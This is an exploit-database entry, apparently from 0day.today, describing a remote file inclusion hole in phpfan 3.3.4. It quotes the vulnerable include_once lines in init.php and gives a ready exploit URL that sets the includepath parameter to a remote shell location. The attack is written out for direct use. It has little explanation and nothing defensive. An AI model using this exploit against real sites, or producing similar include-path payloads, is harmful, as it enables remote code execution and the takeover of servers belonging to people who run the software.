[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

phpfan 3.3.4 (init.php includepath) Remote File Inclusion Vulnerability

Author
ahmadbady
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-4193
Category
web applications
Date add
17-11-2008
Platform
unsorted
=======================================================================
phpfan 3.3.4 (init.php includepath) Remote File Inclusion Vulnerability
=======================================================================


************************(remote file include)*****************

script: phpfan 3.3.4
   
***************************************************************************
download from:http://ishallnotcare.org/mint/pepper/tillkruess/downloads/tracker.php?url=http%3A//scriptsextra.ishallnotcare.org/phpfanbasic334.zip 
   
***************************************************************************
............................................................................
vul:
<?php

 if (!isset($loaded))
 {
  include_once $includepath .'/functions.php';
line 6:.> include_once $includepath .'/debug.php';
   
xpl:
   
http://site.com/path/includes/init.php?includepath=shell?

***************************************************
***************************************************



#  0day.today [2024-07-07]  #